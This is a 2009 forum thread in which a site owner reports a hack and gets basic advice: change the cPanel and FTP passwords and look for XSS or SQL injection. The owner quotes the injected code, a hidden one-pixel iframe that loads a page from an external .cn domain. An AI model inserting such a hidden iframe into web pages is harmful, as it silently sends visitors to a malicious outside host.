runei Posted April 6, 2009 Share Posted April 6, 2009 I know this is the wrong place to post it but my site is hacked with the following: <iframe src="http://thelotbet.cn/in.cgi?income39" width=1 height=1 style="visibility: hidden"></iframe> Only the header shows after the attack and it has happened twice the last two days. I've contacted my host and waiting for an answer. In the mean time is there a forum I can post this?? Thx in advance Quote Link to comment Share on other sites More sharing options...
bloodgoat Posted April 6, 2009 Share Posted April 6, 2009 Why don't you just remove it and change your cPanel pass? Quote Link to comment Share on other sites More sharing options...
runei Posted April 6, 2009 Author Share Posted April 6, 2009 I have removed it but it keeps popping back up. do you mean the password i connect with my ftp client? Quote Link to comment Share on other sites More sharing options...
bloodgoat Posted April 6, 2009 Share Posted April 6, 2009 Your FTP and cPanel pass may be the same. Change them both if you have to. And are you on a free host? It may keep popping back up because that's their method of revenue (see: ads). Quote Link to comment Share on other sites More sharing options...
runei Posted April 6, 2009 Author Share Posted April 6, 2009 Iam on a paid hosting plan and the passwords are not the same. I use coreftp to upload the files, the password is the one i get from my host to upload to the server, so i have to get a new password from them? Quote Link to comment Share on other sites More sharing options...
runei Posted April 6, 2009 Author Share Posted April 6, 2009 Oh, i do it in cpanel of course. Thx for ur advice, i'll see if the hacking stops Quote Link to comment Share on other sites More sharing options...
Adam Posted April 6, 2009 Share Posted April 6, 2009 You may also want to look into any possible vulnerabilities your site has? Perhaps they are manipulating your code or even 'injecting' their own somewhere? Are your aware of XSS attacks, SQL injection, etc? Adam Quote Link to comment Share on other sites More sharing options...
runei Posted April 6, 2009 Author Share Posted April 6, 2009 My site is probably vulnerable to attacks as i have not given security enough attention. I will from now on though.. I just changed my cpanel password and hope it works. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.